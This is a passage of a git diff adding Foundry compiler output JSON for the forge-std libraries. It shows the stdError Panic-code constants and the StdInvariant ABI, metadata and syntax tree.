memory"}},"visibility":"public"},{"id":6346,"nodeType":"VariableDeclaration","src":"277:87:4","nodes":[],"constant":true,"functionSelector":"8995290f","mutability":"constant","name":"arithmeticError","nameLocation":"299:15:4","scope":6396,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":6340,"name":"bytes","nodeType":"ElementaryTypeName","src":"277:5:4","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"value":{"arguments":[{"hexValue":"50616e69632875696e7432353629","id":6343,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"341:16:4","typeDescriptions":{"typeIdentifier":"t_stringliteral_4e487b71539e0164c9d29506cc725e49342bcac15e0927282bf30fedfe1c7268","typeString":"literal_string \"Panic(uint256)\""},"value":"Panic(uint256)"},{"hexValue":"30783131","id":6344,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"359:4:4","typeDescriptions":{"typeIdentifier":"t_rational_17_by_1","typeString":"int_const 17"},"value":"0x11"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_4e487b71539e0164c9d29506cc725e49342bcac15e0927282bf30fedfe1c7268","typeString":"literal_string \"Panic(uint256)\""},{"typeIdentifier":"t_rational_17_by_1","typeString":"int_const 17"}],"expression":{"id":6341,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"317:3:4","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":6342,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"321:19:4","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"317:23:4","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":6345,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"317:47:4","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"visibility":"public"},{"id":6353,"nodeType":"VariableDeclaration","src":"370:85:4","nodes":[],"constant":true,"functionSelector":"fa784a44","mutability":"constant","name":"divisionError","nameLocation":"392:13:4","scope":6396,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":6347,"name":"bytes","nodeType":"ElementaryTypeName","src":"370:5:4","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"value":{"arguments":[{"hexValue":"50616e69632875696e7432353629","id":6350,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"432:16:4","typeDescriptions":{"typeIdentifier":"t_stringliteral_4e487b71539e0164c9d29506cc725e49342bcac15e0927282bf30fedfe1c7268","typeString":"literal_string \"Panic(uint256)\""},"value":"Panic(uint256)"},{"hexValue":"30783132","id":6351,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"450:4:4","typeDescriptions":{"typeIdentifier":"t_rational_18_by_1","typeString":"int_const 18"},"value":"0x12"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_4e487b71539e0164c9d29506cc725e49342bcac15e0927282bf30fedfe1c7268","typeString":"literal_string \"Panic(uint256)\""},{"typeIdentifier":"t_rational_18_by_1","typeString":"int_const 18"}],"expression":{"id":6348,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"408:3:4","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":6349,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"412:19:4","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"408:23:4","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":6352,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"408:47:4","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"visibility":"public"},{"id":6360,"nodeType":"VariableDeclaration","src":"461:91:4","nodes":[],"constant":true,"functionSelector":"1de45560","mutability":"constant","name":"enumConversionError","nameLocation":"483:19:4","scope":6396,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":6354,"name":"bytes","nodeType":"ElementaryTypeName","src":"461:5:4","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"value":{"arguments":[{"hexValue":"50616e69632875696e7432353629","id":6357,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"529:16:4","typeDescriptions":{"typeIdentifier":"t_stringliteral_4e487b71539e0164c9d29506cc725e49342bcac15e0927282bf30fedfe1c7268","typeString":"literal_string \"Panic(uint256)\""},"value":"Panic(uint256)"},{"hexValue":"30783231","id":6358,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"547:4:4","typeDescriptions":{"typeIdentifier":"t_rational_33_by_1","typeString":"int_const 33"},"value":"0x21"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_4e487b71539e0164c9d29506cc725e49342bcac15e0927282bf30fedfe1c7268","typeString":"literal_string \"Panic(uint256)\""},{"typeIdentifier":"t_rational_33_by_1","typeString":"int_const 33"}],"expression":{"id":6355,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"505:3:4","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":6356,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"509:19:4","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"505:23:4","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":6359,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"505:47:4","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"visibility":"public"},{"id":6367,"nodeType":"VariableDeclaration","src":"558:90:4","nodes":[],"constant":true,"functionSelector":"d160e4de","mutability":"constant","name":"encodeStorageError","nameLocation":"580:18:4","scope":6396,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":6361,"name":"bytes","nodeType":"ElementaryTypeName","src":"558:5:4","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"value":{"arguments":[{"hexValue":"50616e69632875696e7432353629","id":6364,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"625:16:4","typeDescriptions":{"typeIdentifier":"t_stringliteral_4e487b71539e0164c9d29506cc725e49342bcac15e0927282bf30fedfe1c7268","typeString":"literal_string \"Panic(uint256)\""},"value":"Panic(uint256)"},{"hexValue":"30783232","id":6365,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"643:4:4","typeDescriptions":{"typeIdentifier":"t_rational_34_by_1","typeString":"int_const 34"},"value":"0x22"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_4e487b71539e0164c9d29506cc725e49342bcac15e0927282bf30fedfe1c7268","typeString":"literal_string \"Panic(uint256)\""},{"typeIdentifier":"t_rational_34_by_1","typeString":"int_const 34"}],"expression":{"id":6362,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"601:3:4","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":6363,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"605:19:4","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"601:23:4","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":6366,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"601:47:4","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"visibility":"public"},{"id":6374,"nodeType":"VariableDeclaration","src":"654:80:4","nodes":[],"constant":true,"functionSelector":"b22dc54d","mutability":"constant","name":"popError","nameLocation":"676:8:4","scope":6396,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":6368,"name":"bytes","nodeType":"ElementaryTypeName","src":"654:5:4","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"value":{"arguments":[{"hexValue":"50616e69632875696e7432353629","id":6371,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"711:16:4","typeDescriptions":{"typeIdentifier":"t_stringliteral_4e487b71539e0164c9d29506cc725e49342bcac15e0927282bf30fedfe1c7268","typeString":"literal_string \"Panic(uint256)\""},"value":"Panic(uint256)"},{"hexValue":"30783331","id":6372,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"729:4:4","typeDescriptions":{"typeIdentifier":"t_rational_49_by_1","typeString":"int_const 49"},"value":"0x31"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_4e487b71539e0164c9d29506cc725e49342bcac15e0927282bf30fedfe1c7268","typeString":"literal_string \"Panic(uint256)\""},{"typeIdentifier":"t_rational_49_by_1","typeString":"int_const 49"}],"expression":{"id":6369,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"687:3:4","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":6370,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"691:19:4","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"687:23:4","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":6373,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"687:47:4","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"visibility":"public"},{"id":6381,"nodeType":"VariableDeclaration","src":"740:85:4","nodes":[],"constant":true,"functionSelector":"05ee8612","mutability":"constant","name":"indexOOBError","nameLocation":"762:13:4","scope":6396,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":6375,"name":"bytes","nodeType":"ElementaryTypeName","src":"740:5:4","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"value":{"arguments":[{"hexValue":"50616e69632875696e7432353629","id":6378,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"802:16:4","typeDescriptions":{"typeIdentifier":"t_stringliteral_4e487b71539e0164c9d29506cc725e49342bcac15e0927282bf30fedfe1c7268","typeString":"literal_string \"Panic(uint256)\""},"value":"Panic(uint256)"},{"hexValue":"30783332","id":6379,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"820:4:4","typeDescriptions":{"typeIdentifier":"t_rational_50_by_1","typeString":"int_const 50"},"value":"0x32"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_4e487b71539e0164c9d29506cc725e49342bcac15e0927282bf30fedfe1c7268","typeString":"literal_string \"Panic(uint256)\""},{"typeIdentifier":"t_rational_50_by_1","typeString":"int_const 50"}],"expression":{"id":6376,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"778:3:4","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":6377,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"782:19:4","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"778:23:4","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":6380,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"778:47:4","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"visibility":"public"},{"id":6388,"nodeType":"VariableDeclaration","src":"831:88:4","nodes":[],"constant":true,"functionSelector":"986c5f68","mutability":"constant","name":"memOverflowError","nameLocation":"853:16:4","scope":6396,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":6382,"name":"bytes","nodeType":"ElementaryTypeName","src":"831:5:4","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"value":{"arguments":[{"hexValue":"50616e69632875696e7432353629","id":6385,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"896:16:4","typeDescriptions":{"typeIdentifier":"t_stringliteral_4e487b71539e0164c9d29506cc725e49342bcac15e0927282bf30fedfe1c7268","typeString":"literal_string \"Panic(uint256)\""},"value":"Panic(uint256)"},{"hexValue":"30783431","id":6386,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"914:4:4","typeDescriptions":{"typeIdentifier":"t_rational_65_by_1","typeString":"int_const 65"},"value":"0x41"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_4e487b71539e0164c9d29506cc725e49342bcac15e0927282bf30fedfe1c7268","typeString":"literal_string \"Panic(uint256)\""},{"typeIdentifier":"t_rational_65_by_1","typeString":"int_const 65"}],"expression":{"id":6383,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"872:3:4","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":6384,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"876:19:4","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"872:23:4","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":6387,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"872:47:4","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"visibility":"public"},{"id":6395,"nodeType":"VariableDeclaration","src":"925:84:4","nodes":[],"constant":true,"functionSelector":"b67689da","mutability":"constant","name":"zeroVarError","nameLocation":"947:12:4","scope":6396,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":6389,"name":"bytes","nodeType":"ElementaryTypeName","src":"925:5:4","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"value":{"arguments":[{"hexValue":"50616e69632875696e7432353629","id":6392,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"986:16:4","typeDescriptions":{"typeIdentifier":"t_stringliteral_4e487b71539e0164c9d29506cc725e49342bcac15e0927282bf30fedfe1c7268","typeString":"literal_string \"Panic(uint256)\""},"value":"Panic(uint256)"},{"hexValue":"30783531","id":6393,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1004:4:4","typeDescriptions":{"typeIdentifier":"t_rational_81_by_1","typeString":"int_const 81"},"value":"0x51"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_4e487b71539e0164c9d29506cc725e49342bcac15e0927282bf30fedfe1c7268","typeString":"literal_string \"Panic(uint256)\""},{"typeIdentifier":"t_rational_81_by_1","typeString":"int_const 81"}],"expression":{"id":6390,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"962:3:4","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":6391,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"966:19:4","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"962:23:4","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":6394,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"962:47:4","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"stdError","contractDependencies":[],"contractKind":"library","fullyImplemented":true,"linearizedBaseContracts":[6396],"name":"stdError","nameLocation":"170:8:4","scope":6397,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":4} \ No newline at end of file diff --git a/contracts/out/StdInvariant.sol/StdInvariant.json b/contracts/out/StdInvariant.sol/StdInvariant.json new file mode 100644 index 000000000..4db2c2447 --- /dev/null +++ b/contracts/out/StdInvariant.sol/StdInvariant.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"excludeArtifacts","inputs":[],"outputs":[{"name":"excludedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"excludeContracts","inputs":[],"outputs":[{"name":"excludedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"excludeSenders","inputs":[],"outputs":[{"name":"excludedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"targetArtifactSelectors","inputs":[],"outputs":[{"name":"targetedArtifactSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetArtifacts","inputs":[],"outputs":[{"name":"targetedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"targetContracts","inputs":[],"outputs":[{"name":"targetedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"targetInterfaces","inputs":[],"outputs":[{"name":"targetedInterfaces_","type":"tuple[]","internalType":"struct StdInvariant.FuzzInterface[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"artifacts","type":"string[]","internalType":"string[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSelectors","inputs":[],"outputs":[{"name":"targetedSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSenders","inputs":[],"outputs":[{"name":"targetedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{"excludeArtifacts()":"b5508aa9","excludeContracts()":"e20c9f71","excludeSenders()":"1ed7831c","targetArtifactSelectors()":"66d9a9a0","targetArtifacts()":"85226c81","targetContracts()":"3f7286f4","targetInterfaces()":"2ade3880","targetSelectors()":"916a17c6","targetSenders()":"3e5e3c23"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[],\"name\":\"excludeArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"excludedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifactSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedArtifactSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"targetedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetInterfaces\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"string[]\",\"name\":\"artifacts\",\"type\":\"string[]\"}],\"internalType\":\"struct StdInvariant.FuzzInterface[]\",\"name\":\"targetedInterfaces_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/forge-std/src/StdInvariant.sol\":\"StdInvariant\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[],"stateMutability":"view","type":"function","name":"excludeArtifacts","outputs":[{"internalType":"string[]","name":"excludedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeContracts","outputs":[{"internalType":"address[]","name":"excludedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeSenders","outputs":[{"internalType":"address[]","name":"excludedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifactSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedArtifactSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifacts","outputs":[{"internalType":"string[]","name":"targetedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetContracts","outputs":[{"internalType":"address[]","name":"targetedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetInterfaces","outputs":[{"internalType":"struct StdInvariant.FuzzInterface[]","name":"targetedInterfaces_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"string[]","name":"artifacts","type":"string[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSenders","outputs":[{"internalType":"address[]","name":"targetedSenders_","type":"address[]"}]}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/forge-std/src/StdInvariant.sol":"StdInvariant"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/StdInvariant.sol":{"keccak256":"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6","urls":["bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d","dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"lib/forge-std/src/StdInvariant.sol","id":6656,"exportedSymbols":{"StdInvariant":[6655]},"nodeType":"SourceUnit","src":"32:3482:5","nodes":[{"id":6398,"nodeType":"PragmaDirective","src":"32:31:5","nodes":[],"literals":["solidity",">=","0.6",".2","<","0.9",".0"]},{"id":6399,"nodeType":"PragmaDirective","src":"65:33:5","nodes":[],"literals":["experimental","ABIEncoderV2"]},{"id":6655,"nodeType":"ContractDefinition","src":"100:3413:5","nodes":[{"id":6405,"nodeType":"StructDefinition","src":"137:77:5","nodes":[],"canonicalName":"StdInvariant.FuzzSelector","members":[{"constant":false,"id":6401,"mutability":"mutable","name":"addr","nameLocation":"175:4:5","nodeType":"VariableDeclaration","scope":6405,"src":"167:12:5","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":6400,"name":"address","nodeType":"ElementaryTypeName","src":"167:7:5","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":6404,"mutability":"mutable","name":"selectors","nameLocation":"198:9:5","nodeType":"VariableDeclaration","scope":6405,"src":"189:18:5","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes4_$dyn_storage_ptr","typeString":"bytes4[]"},"typeName":{"baseType":{"id":6402,"name":"bytes4","nodeType":"ElementaryTypeName","src":"189:6:5","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"id":6403,"nodeType":"ArrayTypeName","src":"189:8:5","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes4_$dyn_storage_ptr","typeString":"bytes4[]"}},"visibility":"internal"}],"name":"FuzzSelector","nameLocation":"144:12:5","scope":6655,"visibility":"public"},{"id":6411,"nodeType":"StructDefinition","src":"